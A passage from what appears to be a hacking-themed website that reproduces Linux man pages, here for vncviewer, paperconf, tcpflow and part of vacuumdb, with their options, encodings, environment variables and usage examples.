Full documentation <https://www.gnu.org/software/coreutils/sha224sum>
or available locally via: info ‘(coreutils) sha2 utilities’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1229 - Linux cli command vncviewer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vncviewer and provides detailed information about the command vncviewer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vncviewer.

NAME 🖥️ vncviewer 🖥️

an X viewer client for VNC

SYNOPSIS

vncviewer [ options ] [ host ][ :display ]
vncviewer [ options ] [ host ][ ::port ]
vncviewer [ options ] -listen [ display ]
vncviewer -help

DESCRIPTION

vncviewer is an Xt-based client application for the VNC (Virtual Network Computing) system. It can connect to any VNC-compatible server such as Xvnc or WinVNC, allowing you to control desktop environment of a different machine.

You can use F8 to display a pop-up utility menu. Press F8 twice to pass single F8 to the remote side.

OPTIONS

-help
Prints a short usage notice to stderr.

-listen
Make the viewer listen on port 5500+display for reverse connections from a server. WinVNC supports reverse connections using the “Add New Client” menu option, or the -connect command line option. Xvnc requires the use of the helper program vncconnect.

-via gateway
Automatically create encrypted TCP tunnel to the gateway machine before connection, connect to the host through that tunnel (TightVNC-specific). By default, this option invokes SSH local port forwarding, assuming that SSH client binary can be accessed as /usr/bin/ssh. Note that when using the -via option, the host machine name should be specified as known to the gateway machine, e.g. “localhost” denotes the gateway, not the machine where vncviewer was launched. See the ENVIRONMENT section below for the information on configuring the -via option.

-shared
When connecting, specify that a shared connection is requested. In TightVNC, this is the default mode, allowing you to share the desktop with other clients already using it.

-noshared
When connecting, specify that the session may not be shared. This would either disconnect other connected clients or refuse your connection, depending on the server configuration.

-viewonly
Disable transfer of mouse and keyboard events from the client to the server.

-fullscreen
Start in full-screen mode. Please be aware that operating in full-screen mode may confuse X window managers. Typically, such conflicts cause incorrect handling of input focus or make the viewer window disappear mysteriously. See the grabKeyboard setting in the RESOURCES section below for a method to solve input focus problem.

-noraiseonbeep
By default, the viewer shows and raises its window on remote beep (bell) event. This option disables such behaviour (TightVNC-specific).

-passwd passwd-file
File from which to get the password (as generated by the vncpasswd(1) program). This option affects only the standard VNC authentication.

-encodings encoding-list
TightVNC supports several different compression methods to encode screen updates; this option specifies a set of them to use in order of preference. Encodings are specified separated with spaces, and must thus be enclosed in quotes if more than one is specified. Available encodings, in default order for a remote connection, are “copyrect tight hextile zlib corre rre raw”. For a local connection (to the same machine), the default order to try is “raw copyrect tight hextile zlib corre rre”. Raw encoding is always assumed as a last option if no other encoding can be used for some reason. For more information on encodings, see the section ENCODINGS below.

-bgr233
Always use the BGR233 format to encode pixel data. This reduces network traffic, but colors may be represented inaccurately. The bgr233 format is an 8-bit “true color” format, with 2 bits blue, 3 bits green, and 3 bits red.

-owncmap
Try to use a PseudoColor visual and a private colormap. This allows the VNC server to control the colormap.

-truecolour, -truecolor
Try to use a TrueColor visual.

-depth depth
On an X server which supports multiple TrueColor visuals of different depths, attempt to use the specified one (in bits per pixel); if successful, this depth will be requested from the VNC server.

-compresslevel level
Use specified compression level (0..9) for “tight” and “zlib” encodings (TightVNC-specific). Level 1 uses minimum of CPU time and achieves weak compression ratios, while level 9 offers best compression but is slow in terms of CPU time consumption on the server side. Use high levels with very slow network connections, and low levels when working over high-speed LANs. It’s not recommended to use compression level 0, reasonable choices start from the level 1.

-quality level
Use the specified JPEG quality level (0..9) for the “tight” encoding (TightVNC-specific). Quality level 0 denotes bad image quality but very impressive compression ratios, while level 9 offers very good image quality at lower compression ratios. Note that the “tight” encoder uses JPEG to encode only those screen areas that look suitable for lossy compression, so quality level 0 does not always mean unacceptable image quality.

-nojpeg
Disable lossy JPEG compression in Tight encoding (TightVNC-specific). Disabling JPEG compression is not a good idea in typical cases, as that makes the Tight encoder less efficient. You might want to use this option if it’s absolutely necessary to achieve perfect image quality (see also the -quality option).

-nocursorshape
Disable cursor shape updates, protocol extensions used to handle remote cursor movements locally on the client side (TightVNC-specific). Using cursor shape updates decreases delays with remote cursor movements, and can improve bandwidth usage dramatically.

-x11cursor
Use a real X11 cursor with X-style cursor shape updates, instead of drawing the remote cursor on the framebuffer. This option also disables the dot cursor, and disables cursor position updates in non-fullscreen mode.

-autopass
Read a plain-text password from stdin. This option affects only the standard VNC authentication.

ENCODINGS

The server supplies information in whatever format is desired by the client, in order to make the client as easy as possible to implement. If the client represents itself as able to use multiple formats, the server will choose one.

Pixel format refers to the representation of an individual pixel. The most common formats are 24 and 16 bit “true-color” values, and 8-bit “color map” representations, where an arbitrary map converts the color number to RGB values.

Encoding refers to how a rectangle of pixels are sent (all pixel information in VNC is sent as rectangles). All rectangles come with a header giving the location and size of the rectangle and an encoding type used by the data which follows. These types are listed below.

Raw
The raw encoding simply sends width*height pixel values. All clients are required to support this encoding type. Raw is also the fastest when the server and viewer are on the same machine, as the connection speed is essentially infinite and raw encoding minimizes processing time.

CopyRect
The Copy Rectangle encoding is efficient when something is being moved; the only data sent is the location of a rectangle from which data should be copied to the current location. Copyrect could also be used to efficiently transmit a repeated pattern.

RRE
The Rise-and-Run-length-Encoding is basically a 2D version of run-length encoding (RLE). In this encoding, a sequence of identical pixels are compressed to a single value and repeat count. In VNC, this is implemented with a background color, and then specifications of an arbitrary number of subrectangles and color for each. This is an efficient encoding for large blocks of constant color.

CoRRE
This is a minor variation on RRE, using a maximum of 255x255 pixel rectangles. This allows for single-byte values to be used, reducing packet size. This is in general more efficient, because the savings from sending 1-byte values generally outweighs the losses from the (relatively rare) cases where very large regions are painted the same color.

Hextile
Here, rectangles are split up in to 16x16 tiles, which are sent in a predetermined order. The data within the tiles is sent either raw or as a variant on RRE. Hextile encoding is usually the best choice for using in high-speed network environments (e.g. Ethernet local-area networks).

Zlib
Zlib is a very simple encoding that uses zlib library to compress raw pixel data. This encoding achieves good compression, but consumes a lot of CPU time. Support for this encoding is provided for compatibility with VNC servers that might not understand Tight encoding which is more efficient than Zlib in nearly all real-life situations.

Tight
Like Zlib encoding, Tight encoding uses zlib library to compress the pixel data, but it pre-processes data to maximize compression ratios, and to minimize CPU usage on compression. Also, JPEG compression may be used to encode color-rich screen areas (see the description of -quality and -nojpeg options above). Tight encoding is usually the best choice for low-bandwidth network environments (e.g. slow modem connections).

RESOURCES

X resources that vncviewer knows about, aside from the normal Xt resources, are as follows:

shareDesktop
Equivalent of -shared/-noshared options. Default true.

viewOnly
Equivalent of -viewonly option. Default false.

fullScreen
Equivalent of -fullscreen option. Default false.

grabKeyboard
Grab keyboard in full-screen mode. This can help to solve problems with losing keyboard focus. Default false.

raiseOnBeep
Equivalent of -noraiseonbeep option, when set to false. Default true.

passwordFile
Equivalent of -passwd option.

passwordDialog
Whether to use a dialog box to get the password (true) or get it from the tty (false). Irrelevant if passwordFile is set. Default false.

encodings
Equivalent of -encodings option.

compressLevel
Equivalent of -compresslevel option (TightVNC-specific).

qualityLevel
Equivalent of -quality option (TightVNC-specific).

enableJPEG
Equivalent of -nojpeg option, when set to false. Default true.

useRemoteCursor
Equivalent of -nocursorshape option, when set to false (TightVNC-specific). Default true.

useBGR233
Equivalent of -bgr233 option. Default false.

nColours
When using BGR233, try to allocate this many “exact” colors from the BGR233 color cube. When using a shared colormap, setting this resource lower leaves more colors for other X clients. Irrelevant when using truecolor. Default is 256 (i.e. all of them).

useSharedColours
If the number of “exact” BGR233 colors successfully allocated is less than 256 then the rest are filled in using the “nearest” colors available. This resource says whether to only use the “exact” BGR233 colors for this purpose, or whether to use other clients’ “shared” colors as well. Default true (i.e. use other clients’ colors).

forceOwnCmap
Equivalent of -owncmap option. Default false.

forceTrueColour
Equivalent of -truecolour option. Default false.

requestedDepth
Equivalent of -depth option.

useSharedMemory
Use MIT shared memory extension if on the same machine as the X server. Default true.

wmDecorationWidth, wmDecorationHeight
The total width and height taken up by window manager decorations. This is used to calculate the maximum size of the VNC viewer window. Default is width 4, height 24.

bumpScrollTime, bumpScrollPixels
When in full screen mode and the VNC desktop is bigger than the X display, scrolling happens whenever the mouse hits the edge of the screen. The maximum speed of scrolling is bumpScrollPixels pixels every bumpScrollTime milliseconds. The actual speed of scrolling will be slower than this, of course, depending on how fast your machine is. Default 20 pixels every 25 milliseconds.

popupButtonCount
The number of buttons in the popup window. See the README file for more information on how to customize the buttons.

debug
For debugging. Default false.

rawDelay, copyRectDelay
For debugging, see the README file for details. Default 0 (off).

ENVIRONMENT

When started with the -via option, vncviewer reads the VNC_VIA_CMD environment variable, expands patterns beginning with the “%” character, and executes result as a command assuming that it would create TCP tunnel that should be used for VNC connection. If not set, this environment variable defaults to “/usr/bin/ssh -f -L %L:%H:%R %G sleep 20”.

The following patterns are recognized in the VNC_VIA_CMD (note that all the patterns %G, %H, %L and %R must be present in the command template):

%%
A literal “%”;

%G
gateway host name;

%H
remote VNC host name, as known to the gateway;

%L
local TCP port number;

%R
remote TCP port number.

SEE ALSO

vncserver(1), Xvnc(1), vncpasswd(1), vncconnect(1), ssh(1)

AUTHORS

Original VNC was developed in AT&T Laboratories Cambridge. TightVNC additions were implemented by Constantin Kaplinsky. Many other people participated in development, testing and support.

Man page authors:
Marcus Brinkmann <[email protected]>,
Terran Melconian <[email protected]>,
Tim Waugh <[email protected]>,
Constantin Kaplinsky <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1230 - Linux cli command paperconf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command paperconf and provides detailed information about the command paperconf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the paperconf.

NAME 🖥️ paperconf 🖥️

print paper configuration information

SYNOPSIS

paperconf [ [ -p ] paper | -d | -a ] [ -z ] [ -n | -N ] [ -s | -w | -h ] [ -c | -m | -i ]

DESCRIPTION

paperconf prints information about a given paper. The information that can be obtained is the name of the paper, its size and its width or height. When called without arguments, paperconf prints the name of the system- or user-specified paper, obtained by looking in order at the PAPERSIZE environment variable, at the contents of the file specified by the PAPERCONF environment variable, at the contents of /etc/papersize or by using letter as a fall-back value if none of the other alternatives are successful. By default, width and height of the paper are printed in PostScript points.

OPTIONS

-p* paper*
Specify the name of the paper about which information is asked.

-d
Use the default builtin paper name.

-a
Consider all known paper names.

-z
If the paper name is unknown, print it but issue a message on the standard error and exit with a non-zero code.

-n
Print the name of the paper.

-N
Print the name of the paper with the first letter capitalized.

-s
Print the size (width followed by height) of the paper.

-w
Print the width of the paper.

-h
Print the height of the paper.

-c
Use centimetres as unit for paper size.

-m
Use millimetres as unit for paper size.

-i
Use inches as unit for paper size.

ENVIRONMENT

PAPERSIZE
Paper size to use regardless of what the papersize file contains.

PAPERCONF
Full path to a file containing the paper size to use.

FILES

/etc/papersize
Contains the name of the system-wide default paper size to be used if the PAPERSIZE and PAPERCONF variables are not set.

AUTHOR

Yves Arrouye <[email protected]>

SEE ALSO

papersize(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1231 - Linux cli command tcpflow

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tcpflow and provides detailed information about the command tcpflow, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tcpflow.

NAME 🖥️ tcpflow 🖥️

TCP flow recorder

SYNOPSIS

tcpflow [ -aBcCDIpsZ ] [ -b* max_bytes* ] [ -d* debug_level* ] [ -[eE]* scanner* ] [ -f* max_fds* ] [ -F[ctTXMkmg] ] [ -h | –help ] [ -i* iface* ] [ -l* file1.pcap file2.pcap…* ] [ -L* semlock* ] [ -m* min_bytes* ] [ -o* outdir* ] [ -r* file1.pcap* ] [ -R* file0.pcap* ] [ -S* name=value* ] [ -T[filename template] ] [ -U | –relinquish-privileges* username* ] [ -v | –verbose ] [ -V | –version ] [ -w* file* ] [ -x* scanner* ] [ -X* file.xml* ] [ -z | –chroot* directory* ] [ expression ]

DESCRIPTION

tcpflow is a program that captures data transmitted as part of TCP connections (flows), and stores the data in a way that is convenient for protocol analysis or debugging. Rather than showing packet-by-packet information, tcpflow reconstructs the actual data streams and stores each flow in a separate file for later analysis. tcpflow understands TCP sequence numbers and will correctly reconstruct data streams regardless of retransmissions or out-of-order delivery. tcpflow provides control over filenames for automatic binning of connections by protocol, IP address or connection number, and has a sophisticated plug-in system for decompressing compressed HTTP connections, undoing MIME encoding, or calling user-provided programs for post-processing.

By default tcpflow stores all captured data in files that have names of the form:

192.168.101.102.02345-010.011.012.013.45103

…where the contents of the above file would be data transmitted from host 192.168.101.102 port 2345, to host 10.11.12.13 port 45103.

If you want to simply process a few hundred thousand packets and see what you have, try this:

tcpflow -a -o outdir -Fk -r packets.pcap

This will cause tcpflow to perform (-a) all processing, store the output in a directory called outdir, bin the output in directories of 1000 connections each, and read its input from the file packets.pcap. More sophisticated processing is possible, of course.

OPTIONS

-a
Enable all processing. Same as -e all.

-B
Force binary output even when printing to console with -C or -c.

-b max_bytes
Specifies the maximum size of a captured flow. Any bytes beyond max_bytes from the first byte captured will be discarded. The default is to store an unlimited number of bytes per flow. Note: before version 1.4, tcpflow could only store a maximum of 4GiB per flow.

-c
Console print. Print the contents of packets to stdout as they are received, without storing any captured data to files (implies -s).

-C
Console print without the packet source and destination details being printed. Print the contents of packets to stdout as they are received, without storing any captured data to files (implies -s).

-D
Console output should be in hex.

-d
Debug level. Set the level of debugging messages printed to stderr to debug_level. Higher numbers produce more messages. -d 0 causes completely silent operation. -d 1 , the default, produces minimal status messages. -d 10 produces verbose output equivalent to -v . Numbers higher than 10 can produce a large amount of debugging information useful only to developers.

-E name
Disable all scanners and then enable scanner name

-e name
Enable scanner name.

-e all
Enables all scanners. Same as -a

-e http
Perform HTTP post-processing (“After” processing). If the output file is

208.111.153.175.00080-192.168.001.064.37314,

Then the post-processing will create the files:

208.111.153.175.00080-192.168.001.064.37314-HTTP
208.111.153.175.00080-192.168.001.064.37314-HTTPBODY

If the HTTPBODY was compressed with GZIP, you may get a third file as well:

208.111.153.175.00080-192.168.001.064.37314-HTTPBODY-GZIP

Additional information about these streams, such as their MD5 hash value, is also written to the DFXML report file.

-e python -S py_path=path -S py_module=module -S py_function=foo
Post-process TCP payload by an external python function.

The python function must take a single string parameter. The python function can return a string (else the function does must not return). The returned string (if any) is written in the DFXML report file inside the XML tag <scan_python_result>…</scan_python_result>. A sample python script is available within the tcpflow source code in directory python/plugins.

Example:

    tcpflow -r my.cap -e python -S py_path=python/plugins -S py_module=samplePlugin -S py_function=sampleFunction

-F[format]
Specifies format for output filenames.

Format specifiers:
c
Appends the connection counter to ALL filenames.

t
Prepends each filename with a Unix timestamp (seconds since epoch).

T
Prepends each filename with an ISO-8601 timestamp.

X
Do not output any files (other than the DFXML report file).

-FM
Include MD5 of each flow in the DFXML report file.

-FX
Suppresses file output entirely, DFXML report file is still produced.

-Fk
bin output in 1K directories

-Fm
bin output in 1M directories (2 levels)

-Fg
bin output in 1G directories (3 levels)

-fmax_fds
Max file descriptors used. Limit the number of file descriptors used by tcpflow to max_fds. Higher numbers use more system resources, but usually perform better. If the underlying operating system supports the setrlimit() system call, the OS will be asked to enforce the requested limit. The default is for tcpflow to use the maximum number of file descriptors allowed by the OS. The -v option will report how many file descriptors tcpflow is using.

-g
Output flow information to console in multiple colors. (Blue for client to server flows, red for server to client flows, green for undecided flows.) Note: This option was different from tcpflow 1.3 (-e) and 1.4.4 (-J).

-h –help
Help. Print usage information and exit.

-hh
More help. Print more usage information and exit.

-i iface
Interface name. Capture packets from the network interface named iface. If no interface is specified with -i , a reasonable default will be used by libpcap automatically.

-I
Store the reception timestamps (of TCP packets) in a companion file *.findx. Therefore each flow will have two files: (1) the usual file containing payload bytes and (2) the text file containing the corresponding timestamps. This last file *.findx has three columns using the pipe ’|’ as separator:

    byte-index|timestamp|length

The byte-index column is the postion within the file containing the payload bytes. The timestamp column represents the number of seconds since epoch as a floating point number. The precision is the microsecond but may also be the nanosecond in a future tcpflow version. The length column is the number of successive bytes concerned by timestamp and can include several TCP frames (TCP packets). The extension findx may become from the fact that the timestamps are frame indexed.

-L semlock_name
Specifies that semlock_name should be used as a Unix semaphore to prevent two different copies of tcpflow running in two different processes but outputting to the same standard output from printing on top of each other. This is an application of Unix named semaphores; bet you have never seen one before.

-l
Treat the following arguments as filenames with an assumed -r command before each one. This allows you to read a lot of files at once with shell globbing. For example, to process all of the pcap files in the current directory, use this:

tcpflow -o out -a -l *.pcap

-m min_size
Forces a new connection output file when there is a skip in the TCP session of min_size bytes or more.

-o outdir
Specifies the output directory where the transcript files will be written.

-P
No purge. Normally tcpflow removes connections from the hash table after the connection is closed with a FIN. This conserves memory but takes additional CPU time. Selecting this option causes the std::tr1:unordered_map to grow without bounds, as tcpflow did prior to version 1.1. That makes tcpflow run faster if there are less than 10 million connections, but can lead to out-of-memory errors.

-p
No promiscuous mode. Normally, tcpflow attempts to put the network interface into promiscuous mode before capturing packets. The -p option tells tcpflow not to put the interface into promiscuous mode. Note that it might already be in promiscuous mode for some other reason.

-q
Quiet mode — don’t print warnings. Currently the only warning that tcpflow prints is a warning when more than 10,000 files are created that the user should have provided the -Fk, -Fm, or -Fg options. We might have other warnings in the future.

–relinquish-privileges=username
When tcpflow is run as root, this option changes the user ID and group ID to write files owned by username**.** The group ID is the first one from the username groups list. This operation is performed just after opening the capture device or just after opening the first input PCAP file. This option does not support multi root-only readable input files as the root privileges are dropped after opening the first file (e.g. -r root-only-access.pcap -R root-only.pcap -l root-only*.pcap ). This option has the same behaviour as the tcpdump(1) option having the same name –relinquish-privileges

-r
Read from file. Read packets from file**, which was created using the** -w option of tcpdump(1). This option may be repeated any number of times. Standard input is used if file is “-”. Note that for this option to be useful, tcpdump’s -s option should be used to set the snaplen to the MTU of the interface (e.g., 1500) while capturing packets.

-R
Read from a file, but only to complete TCP flows. This option is used when tcpflow is used to process a series of files that are captured over time. For each time period n, file file(n).pcap should be processed with -R file(n).pcap**,** while file(n-1).pcap should be processed with -r file(n-1).pcap.

-Sname=value
Sets a name parameter to be equal to value for a plug-in. Use -hh to find out all of the settable parameters.

-s
Strip non-printables. Convert all non-printable characters to the “.” character before printing packets to the console or storing them to a file.

-T[format]
Specifies an arbitrary template for filenames.

%A
expands to source IP address.

%a
expands to source IP port.

%B
expands to destination IP address.

%b
expands to destination IP port.

%T
expands to timestamp in ISO8601 format.

%t
expands to timestamp in Unix time_t format.

%V
expands to “–” if a VLAN is present.

%v
expands to the VLAN number if a VLAN is present.

%C
expands to “c” if the connection count>0.

%c
expands to the connection count if the connection count>0.

%#
always expands to the connection count.

%N
(connection_number ) % 1000

%K
(connection_number / 1000) % 1000

%M
(connection_number / 1000000) % 1000

%G
(connection_number / 1000000000) % 1000

%%
prints a “%”.

When the option -T is used, tcpflow ignores options -Fk, -Fm and -Fg. However, the option -T handles ‘/’ within the filename template patern to create sub-directories. For example the following line will create a directory tree out/IP-src/port-src/IP-dst/port-dst.

    tcpflow -r packets.pcap -o out -T %A/%a/%B/%b/%c%N.flow

-V –version
Print the version number and exit.

-v –verbose
Verbose operation. Verbosely describe tcpflow’s operation. Equivalent to -d 10.

-w filename.pcap
Write packets that were not processed to filename.pcap**. Typically this will be** UDP packets.

-X filename.xml
Write a DFXML report to filename.xml**. The file contains a record of every** tcp connection, how the tcpflow program was compiled, and the computer on which tcpflow was run. By default tcpflow writes the DFXML report in file report.xml**.**

-Z
Don’t decompress gzip-compressed streams. -K Retain per flow isolated pcap structure.

expression
selects which packets will be captured. If no expression is given, all packets on the net will be captured. Otherwise, only packets for which expression is `true’ will be captured.

For the expression syntax, see pcap-filter(7).

The expression argument can be passed to tcpflow as either a single Shell argument, or as multiple Shell arguments, whichever is more convenient. Generally, if the expression contains Shell metacharacters, such as backslashes used to escape protocol names, it is easier to pass it as a single, quoted argument rather than to escape the Shell metacharacters. Multiple arguments are concatenated with spaces before being parsed.

DFXML report

The DFXML report is the XML file written by tcpflow to provide tcpflow build details, command line arguments and information about processed flows.

By default the DFXML file is named report.xml**.** But this filename can be changed using command line option -X.

DFXML file respects the DFXML schema defined by project https://github.com/dfxml-working-group/dfxml_schema**.**
Moreover tcpflow adds two extra XML tags, as illustrated by the following example:

<tcpflow startime='2017-07-22T00:12:21.962782Z' endtime='2017-07-22T00:12:22.097591Z'
         family='2' mac_daddr='40:3d:78:57:ed:d4' mac_saddr='00:c5:42:d2:cb:f2'
         src_ipn='141.134.34.12' dst_ipn='192.168.0.40' srcport='80' dstport='38797'
         packets='4' len='677' caplen='611' />

<tcpflow:result scanner="python" path="python/plugins" module="samplePlugin"
                function="sampleFunction">bla bla bla</tcpflow:result>

The first XML tag <tcpflow> provide information about the captured flow. This tag should be renamed <tcpflow:cap> in a future version in order to conform better to DFXML schema.

The second XML tag <tcpflow:result> collects processing results. For the moment, only the scanner python uses this feature.

The XML attributes of <tcpflow> are:

  • startime Reception time of first packet

  • endtime Reception time of last packet

  • family

  • mac_daddr Destination MAC address of first packet (printed if any)

  • mac_saddr Source MAC address of first packet (printed if any)

  • src_ipn IP source

  • dst_ipn IP destination

  • srcport TCP port source

  • dstport TCP port destination

  • packets Nummber of packets

  • out_of_order_count Number of times tcpflow has replaced missing payload by zeros in the flow file, for example when capture does not contain the TCP session begin (printed if any)

  • violations Number of protocol violations (printed if any)

  • len Sum of un-truncated length of all packet data (including headers, see https://stackoverflow.com/q/1491660)

  • caplen Sum of captured bytes of all packet data (including headers, printed if different from len)

The XML attributes of <tcpflow:result> are:

  • scanner Name of the scanner

  • path Directory of the scanner module (printed if relevant)

  • module Module name (printed if relevant, used to indicate the python script)

  • function Function name (printed if relevant, used to indicate the function within the python module)

EXAMPLES

To record all packets arriving at or departing from sundown and extract all of the HTTP attachments:

tcpflow -e http -o outdir host sundown

To record traffic between helios and either hot or ace and bin the results into 1000 files per directory and calculate the MD5 of each flow:

tcpflow -X report.xml -e md5 -o outdir -Fk host helios and ( hot or ace )

BUGS

Please send bug reports to [email protected].

tcpflow currently does not understand IP fragments. Flows containing IP fragments will not be recorded correctly.

AUTHORS

Originally by Jeremy Elson <[email protected]>. Substantially modified and maintained by Simson L. Garfinkel <[email protected]>. Network visualization code by Michael Shick <[email protected]>

The current version of this software is available at

http://digitalcorpora.org/downloads/tcpflow/

An announcement mailing list for this program is at:

http://groups.google.com/group/tcpflow-users

SEE ALSO

tcpdump(1), nit(4P), bpf(4), pcap(3), pcap-savefile(5), pcap-filter(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1232 - Linux cli command vacuumdb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command vacuumdb and provides detailed information about the command vacuumdb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the vacuumdb.

NAME 🖥️ vacuumdb 🖥️

garbage-collect and analyze a PostgreSQL database

SYNOPSIS

vacuumdb [connection-option…] [option…] [ -t | –table table [( column [,…] )] ]… [dbname]

vacuumdb [connection-option…] [option…] [ [ -n | –schema schema ] | [ -N | –exclude-schema schema ] ]… [dbname]

vacuumdb [connection-option…] [option…] -a | –all

DESCRIPTION

vacuumdb is a utility for cleaning a PostgreSQL database. vacuumdb will also generate internal statistics used by the PostgreSQL query optimizer.

vacuumdb is a wrapper around the SQL command VACUUM. There is no effective difference between vacuuming and analyzing databases via this utility and via other methods for accessing the server.

OPTIONS

vacuumdb accepts the following command-line arguments:

-a
–all

Vacuum all databases.

–buffer-usage-limit size

Specifies the Buffer Access Strategy ring buffer size for a given invocation of vacuumdb. This size is used to calculate the number of shared buffers which will be reused as part of this strategy. See VACUUM(7).

[-d] dbname
**[–dbname=]**dbname

Specifies the name of the database to be cleaned or analyzed, when -a/–all is not used. If this is not specified, the database name is read from the environment variable PGDATABASE. If that is not set, the user name specified for the connection is used. The dbname can be a connection string. If so, connection string parameters will override any conflicting command line options.

–disable-page-skipping

Disable skipping pages based on the contents of the visibility map.

-e
–echo

Echo the commands that vacuumdb generates and sends to the server.

-f
–full

Perform “full” vacuuming.

-F
–freeze

Aggressively “freeze” tuples.

–force-index-cleanup

Always remove index entries pointing to dead tuples.

-j njobs
**–jobs=**njobs

Execute the vacuum or analyze commands in parallel by running njobs commands simultaneously. This option may reduce the processing time but it also increases the load on the database server.

vacuumdb will open njobs connections to the database, so make sure your max_connections setting is high enough to accommodate all connections.

Note that using this mode together with the -f (FULL) option might cause deadlock failures if certain system catalogs are processed in parallel.

–min-mxid-age mxid_age

Only execute the vacuum or analyze commands on tables with a multixact ID age of at least mxid_age. This setting is useful for prioritizing tables to process to prevent multixact ID wraparound (see Section 25.1.5.1).

For the purposes of this option, the multixact ID age of a relation is the greatest of the ages of the main relation and its associated TOAST table, if one exists. Since the commands issued by vacuumdb will also process the TOAST table for the relation if necessary, it does not need to be considered separately.

–min-xid-age xid_age

Only execute the vacuum or analyze commands on tables with a transaction ID age of at least xid_age. This setting is useful for prioritizing tables to process to prevent transaction ID wraparound (see Section 25.1.5).

For the purposes of this option, the transaction ID age of a relation is the greatest of the ages of the main relation and its associated TOAST table, if one exists. Since the commands issued by vacuumdb will also process the TOAST table for the relation if necessary, it does not need to be considered separately.

-n schema
**–schema=**schema

Clean or analyze all tables in schema only. Multiple schemas can be vacuumed by writing multiple -n switches.

-N schema
**–exclude-schema=**schema

Do not clean or analyze any tables in schema. Multiple schemas can be excluded by writing multiple -N switches.

–no-index-cleanup

Do not remove index entries pointing to dead tuples.

–no-process-main

Skip the main relation.

–no-process-toast

Skip the TOAST table associated with the table to vacuum, if any.

–no-truncate

Do not truncate empty pages at the end of the table.

-P parallel_workers
**–parallel=**parallel_workers

